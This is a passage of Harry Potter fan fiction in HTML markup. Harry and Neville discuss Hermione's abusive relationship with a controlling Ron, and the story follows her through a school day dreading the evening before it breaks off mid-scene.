	(24, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: Not mine, Not mine, Definitly\nnot mine. The entire HP world belongs to JK Rowlings.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><b style="mso-bidi-font-weight:\nnormal">A/N: THERE IS SOMEWHAT OF A &#8220;SCENE&#8221; BETWEEN RON AND HERMIONE.&nbsp; I PUT LITTLE SQUIGGLE MARKS IN CASE YOU JUST\nWANT TO PASS IT UP. </b></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Hidden\nBeneath&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n4&#8212;What A Day </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What did you say?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked around, &#8220;I didn&#8217;t\nsay anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes you did, you said oh\nshit.&nbsp; Why would you say that?&#8221; Harry\nlooked at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It doesn&#8217;t matter, just forget\nit.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What I want to know is&#8230;Why you\nlet him do that to you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do what?&#8221; She glanced around\nnervously.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why don&#8217;t you tell someone that\nWeasley hits you?&#8221; Harry crossed his arms in front of him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t know what you&#8217;re talking\nabout.&#8221; Hermione looked away from him.&nbsp; &#8220;Why\nare you making up these ridiculous allegations?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not making this up and you\nknow it,&#8221; Harry answered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You don&#8217;t have any proof.&#8221;\nHermione pointed out. &#8220;Why would Ron hurt me?&nbsp;\nHe loves me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah he loves to hurt you, I saw\nit for myself.&nbsp; I know exactly what he\nsaid and what he did.&#8221; Harry watched her carefully; she looked like she was\nready to tear his head off.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t believe you.&nbsp; You don&#8217;t know anything.&nbsp; So listen up here, new guy.&#8221; Hermione was\nirritated; she wanted him to leave her alone. &#8220;Even if he hits me&#8230;which he\ndoesn&#8217;t.&nbsp; It is none of your\nbusiness.&nbsp; Don&#8217;t go poking your nose into\nsituations where you have no idea of what is going on.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I still think that you need to\ntell someone so that they can help you&#8212;&#8221; Harry tried to continue but he was cut\noff by Hermione again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Leave me alone.&nbsp;&nbsp; I don&#8217;t need help and I don&#8217;t some stranger\nsuch as yourself coming in trying to tell m&#8212;everyone what to do.&nbsp; Mind your own business and go bother someone\nelse.&#8221; And with that she took herself quickly up the stairs and into the girl&#8217;s\ndorms closing the door quietly behind her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Well that was just fine with him,\nhe wasn&#8217;t going to offer help to someone who didn&#8217;t want it.&nbsp; He turned to go up the stairs towards the\nboy&#8217;s dorm when he saw Neville leaning on the railing looking down at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You couldn&#8217;t just leave well\nenough alone could you?&#8221; Neville said as he started down the stairs towards\nHarry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What are you doing there?&#8221; Harry\nthought that there was no one awake.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I heard Hermione shriek so I came\nout to see if something was wrong. Imagine what I find here, you talking to her\nabout her relationship.&#8221; Neville answered bitterly&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I thought you were cheating on\nyour girlfriend so I snooped, I got more then I bargained for I admit it.&#8221;\nHarry said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I would never cheat on Ginny, I\ntold you that already.&#8221; Neville was angry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How was I supposed to know?&#8221;\nHarry&#8217;s tone was rising, he was upset as well.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now another person knows.&#8221;\nNeville said while shaking his head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If you knew what was going on why\nhaven&#8217;t you said something to professors so that this asshole doesn&#8217;t keep\ndoing this?&#8221; Harry crossed his arms in front of him glaring at Neville.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I can&#8217;t say, I&#8217;m under oath.&#8221;\nNeville answered slowly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Then break it.&#8221; Harry couldn&#8217;t\nbelieve that Neville knew what was going on and didn&#8217;t say anything.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I can&#8217;t break it, she cast an\noath spell.&nbsp; I&#8217;m not allowed to say\nanything to an adult or else I completely lose my voice for three years.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How did she get you to agree to\nthis? Surely you are not that stupid.&#8221; Harry insulted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville glared, &#8220;she told me she\nhad a secret but I couldn&#8217;t say a word to anyone, I thought it was just a silly\ngirl secret so she made me swear and cast the oath spell and then told me what\nthe secret was.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So she tricked you.&#8221; Harry shook\nhis head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;And even if I did say something she would\ndeny it.&nbsp; Just like she did now.&#8221; Neville\nwalked over to the couch and sat down.&nbsp;\n&#8220;The proof disappears.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well then you should just let her\nbe, it&#8217;s what she wants obviously.&nbsp; Which\nI find highly disturbing.&nbsp; Why she would\nwant that kind of treatment is beyond me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The thing is, she doesn&#8217;t want\nthat at all.&#8221; Neville leaned forward so his elbows were resting on his knees.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You heard what she said.&#8221; Harry\nmoved over and sat down next to Neville.&nbsp;\n&#8220;She wants to be left alone.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione is in a bad position,&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You don&#8217;t have to state the\nobvious you know, I can see that.&#8221;&nbsp; Harry\nstood.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She can never get away from it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There&#8217;s always a way out, she\njust doesn&#8217;t want it.&#8221; Harry shook his head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not for her there isn&#8217;t.&nbsp; You see Hermione&#8217;s parents died in a plane\ncrash&#8230;I think that&#8217;s what it&#8217;s called.&nbsp;\nBut anyway.&nbsp; She is orphaned so\nthe Weasley&#8217;s, Ron&#8217;s family took her in, they take care of her.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not very well it seems.&#8221; Harry\nsaid under his breath.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So she goes home to it and she\nlives here with it.&nbsp; It&#8217;s the only thing\nshe knows.&nbsp; Hermione does not know what\nit&#8217;s like to be loved.&nbsp; Ron does not love\nher, no matter how many times he forces the idea into her head.&#8221; Neville spat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look she told me to stay out of\nit, fine I will. It&#8217;s what she wants.&nbsp; I\nhave my own issues to deal with.&#8221;&nbsp;\nHarry&#8217;s eyes narrowed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You are already in it, no matter\nhow hard you try to deny what is going on.&nbsp;\nKeep telling yourself to not worry about it.&nbsp; Let them deal with it, it&#8217;s their problem not\nmine.&#8221;&nbsp; Neville tilted his head to the\nside.&nbsp; &#8220;Do those thoughts sound familiar\nto you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wondered if Neville read\nminds.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville could clearly see the\nquestion on his face, he smirked.&nbsp; &#8220;No I\ndon&#8217;t read minds, but I had those same thoughts before.&#8221; And he finally\nstood.&nbsp; &#8220;You are in so deep that no\nmatter what you do, there is no way out.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You do what you want Neville, I&#8217;m\nnot getting involved in this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Then why did you wait to talk to\nher tonight, if you didn&#8217;t want to be involved?&#8221; Neville looked Harry straight\nin the eye.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry didn&#8217;t have a comment but he\nthought of one anyway, &#8220;to ease my conscious, it was really getting after me\nwhen I first learned of this.&nbsp; But now\nthat I have talked to her and found out its her choice, I don&#8217;t feel so\nguilty.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did you now here one word I said\nto you?&nbsp; It is not her choice.&#8221; Neville\nwas really starting to get annoyed here.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And just what am I suppose to do\nabout that? I&#8217;ve come here to Hogwarts to finish school and move on. I don&#8217;t\nneed to meddle in things that I have no idea what they are about, nor do I\nintend to find out more.&nbsp; I know I sound\nlike an asshole, and to you I might be one.&nbsp;\nAnd I really don&#8217;t care what you or anyone else thinks of me.&#8221;&nbsp; With one last glare Harry took himself up to\nthe boy&#8217;s dorm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville shook his head back and\nforth. He sighed and then decided he should go to bed too.&nbsp; And he did.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron leaned over and kissed\nHermione on the side of the head, he lightly touched her hair that was pulled\nup and back in a green banana clip.&nbsp; &#8220;You\nlook very pretty today, very nice.&nbsp; It&#8217;s\ngood to see that you are in the best of health today.&#8221;&nbsp; He then removed his arm from around her and\ncontinued to eat his breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you saying that to me just\nbecause it&#8217;s Wednesday?&#8221; Hermione said looking up at him as innocently as she\ncould.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do you not like my compliment\nHermione?&#8221; Ron raised an eyebrow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of course I do,&#8221; Hermione answered\nquickly. &#8220;It&#8217;s quite nice of you to say so.&nbsp;\nThank you.&#8221; She said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron stood from his seat, &#8220;alright\nguys, I&#8217;m going to need the dorm to myself tonight.&nbsp; As you all know it&#8217;s Wednesday.&#8221;&nbsp; He heard groans and complaining from the guys\nbut they naturally give into what Ron wants anyway. All except one, now.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why is that?&#8221; Harry asked looking\nup at him as he stuck a piece of toast in his mouth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So that me and my girlfriend can\nshare a private moment this evening,&#8221; Ron answered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah I see,&#8221; Harry knew what he was\nreferring to &#8220;So it only takes a moment.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron&#8217;s eyes narrowed in irritation\nand anger, &#8220;Just stay out of the dorm tonight.&#8221;&nbsp;\nHe glared.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And if I don&#8217;t?&#8221; Harry returned\nthe glare.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Ron&#8217;s fists clinched he was about to say something\nwhen his sister spoke up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Oh Ron relax I&#8217;m sure Harry here is just\njoking with you,&#8221; Ginny smiled and turned to Harry who was next to her. &#8220;Aren&#8217;t\nyou Harry, you are just kidding?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sighed, &#8220;of course I&#8217;m only\njoking.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Good for you that you were.&#8221; Ron\nsaid.&nbsp; &#8220;Well.&#8221; He turned to Hermione and\nthe rest of the Gryffindors. &#8220;I&#8217;m going to help the Ravenclaws,\nso I&#8217;ll see you all in class.&#8221; Ron moved on down towards the Ravenclaw table.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I hate Wednesday.&#8221; Hermione said quietly\nas she gathered up her books.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Where you going?&#8221; Ginny asked\nwith a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Library.&#8221; Hermione answered and\nquickly stood, leaving the great hall in rapid speed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Typical Hermione.&#8221; Ginny said and\nshe continued her breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione hurried into the library\nand took a seat in the back, where no one could see her.&nbsp; She was dreading the up coming night, true it\nwas many hours away but the day goes too fast.&nbsp;\nEspecially on Wednesdays.&nbsp; The\nbell wrung disrupting her thoughts and worries of what was to come later.&nbsp; She picked up her bag and headed towards\nTransfiguration.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Once Hermione got into the\nTransfiguration classroom, she noticed Neville already sitting by Ron who had\njust sat down.&nbsp; That meant she would have\nto go sit by that Harry Potter of all people.&nbsp;\nShe sighed.&nbsp; First Hermione made\nher way over to Ron and reached up giving him a small kiss on the cheek. Ron\nnodded with approval and rested his hand on her shoulder in a slight possessive\nmanor. He didn&#8217;t say a word to her but she understood the meanings of his hold\nit meant don&#8217;t let any other male touch you.&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione moved over towards her\npartner and sat down; she didn&#8217;t even look at him.&nbsp; She kept her eyes focused ahead of her\nwaiting for the professor to arrive.&nbsp; .</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Professor McGonagall arrived and\nclass had begun.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry really had no trouble\nchanging an artichoke into a duck, he had been way advanced in Transfiguration\nback at Durmstrang, and being a caring and wonderful\npartner, he would let her try at it.&nbsp;\nMaybe even help her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She could fell him looking at her\nbut she kept her eye focused downward on the project at hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It was true Harry was looking at\nher, &#8220;I see you did just what Weasley told you to do about your hair.&#8221;&nbsp; He noticed she was ignoring him and he shook\nhis head.&nbsp; It really surprised him when\nshe spoke.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t know what you&#8217;re talking\nabout.&#8221; She answered still not looking at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh sure you do.&#8221; Harry said with\nan all knowing tone in his voice.&nbsp; &#8220;I can\nrepeat the exact same words your knight in shining armor said to you if you\nlike?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I have no wish to continue this\nconversation with you. Or have any other conversation with you.&nbsp; Let&#8217;s concentrate on the lesson please.&#8221; Her\ntone was void of emotion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shrugged, &#8220;as you wish.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The class worked steadily for an\nhour and a half, Transfiguration ended and potions was next.&nbsp; Harry was first to leave the class and\nHermione quickly gathered up her belongings and headed out the door with Ron. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron held onto her hand as he and\nHermione walked into the potions class, they were among the last to\narrive.&nbsp; Ron noticed Lavender already\nsitting with Harry, how he loathed that boy.&nbsp;\nIt had only been six days since he had met him and already was he\ngaining popularity fast. He would have to find a way to upstage him somehow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione followed after Ron her\nhand still in his, she saw Lavender look up at Hermione with an evil smirk on\nher face.&nbsp; Hermione tried to ignore it by\nfocusing on the back of Ron&#8217;s head, what she didn&#8217;t see Lavender stick out her\nfoot.&nbsp; Hermione tripped and fell flat on\nher face.&nbsp; A great uproar of laughter\nerupted from most of the students, including Lavender.&nbsp; Snape who heard the roar of laughter, turned\nfrom the blackboard.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Hermione felt the sting tears swelling in her\neyes but she bit them back, she breathed in deeply. And lifted herself up a\nbit.&nbsp; Ron knee&#8217;s had made a loud cracking\nnoise had kneeled down to her level.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Clumsy fool,&#8221; He said quietly.\n&#8220;You could have pulled my arm out of my socket.&#8221;&nbsp; He said not caring at all if Hermione had\nhurt herself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Lavender tripped me.&#8221; She\nanswered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh what accusations Hermione, do\nyou have any proof?&#8221; Lavender said sourly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched Lavender with\ndisgust, thinking that was just really low.&nbsp;\nHumiliating the poor girl like that.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron sided with Lavender. &#8220;Oh don&#8217;t\nblame your own acts of clumsiness on her; you should pay attention to where you\nwere going.&nbsp; Maybe next time this won&#8217;t\nhappen.&nbsp; Get up and don&#8217;t embarrass me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m sorry.&#8221; Hermione replied as\nshe got up from the floor.&nbsp; She could\nhear the sniggering students all around her. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Miss Granger are you alright, do\nyou need to go to the hospital wing?&#8221; Snape asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No thank you professor, I&#8217;m\nalright. I should be more careful huh?&#8221; She said with a tiny smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Take your seat, I&#8217;m about to\nstart class.&#8221; Snape ordered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes sir.&#8221; Hermione went over and\nsat down next to Draco.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I saw what she did.&#8221; Draco leaned\nover and whispered to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, Ron&#8217;s right it was my fault I\nshould watch where I was going.&#8221; She said with a smile. &#8220;I have been known to\nbe clumsy, as you well know.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, not everything is your\nfault you do know that?&#8221; Draco watched her eyes shifting back and forth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Draco please let&#8217;s just pay\nattention.&#8221;&nbsp; Hermione replied.&nbsp; She heard a half cough half grunt come from\nnone other than Ron.&nbsp; She looked up at\nhim and saw him give her a signal to stop talking to Draco.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Why\ncan&#8217;t I ever do anything right?&#8217;</i> Hermione asked herself.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Why is\neverything I do always wrong? Because you are an idiot, listen to Ron he knows\nwhat&#8217;s right.&nbsp; Are you sure?&nbsp; Of course I&#8217;m sure, he loves you. He&#8217;s the\nonly one who will love you.&nbsp; He told you\nthat himself.&nbsp; You really should listen\nto him.&nbsp; I don&#8217;t know.&nbsp; Yes you do, He is always right.&nbsp; Oh okay, if you say so.&nbsp; Ron is always right.&nbsp; You don&#8217;t want him to hit you today do\nyou?&nbsp; No of course not. You know he only\ndoes that because he cares about you.&nbsp;\nRight.&#8217;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">The class started working hard on the potions.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After a fulfilling dinner, Harry\nwandered up to the boy&#8217;s dorm and sat down on his bed.&nbsp; He thought to study a little bit in peace,\nfor privacy he pulled the curtains around his bed closed and lit the end of his\nwand for light.&nbsp; He picked up his History\nof Magic book and started reading on the war of 1818.&nbsp; He felt himself dosing off, once again he\nwould be plagued by nightmares of the past and of what he had done.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry woke to a&nbsp; knock at the door, it opened and Hermione\nstuck her head in.&nbsp; &#8220;Ron?&#8221;<i style="mso-bidi-font-style:normal"> &#8216;Oh please don&#8217;t let him be here, oh please\ndon&#8217;t let him be here.&#8217;</i> She begged in her mind.&nbsp; She really hated this, nothing was worse, not\nthe beatings not the degradation, Nothing.&nbsp;\nThis was the only thing she ever shed tears about. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry lifted his watch and glanced\nat it, it read nine o&#8217; two.&nbsp; He was about\nto say something when he heard voices talking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah I&#8217;m here.&#8221; Ron said from the\nbathroom. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 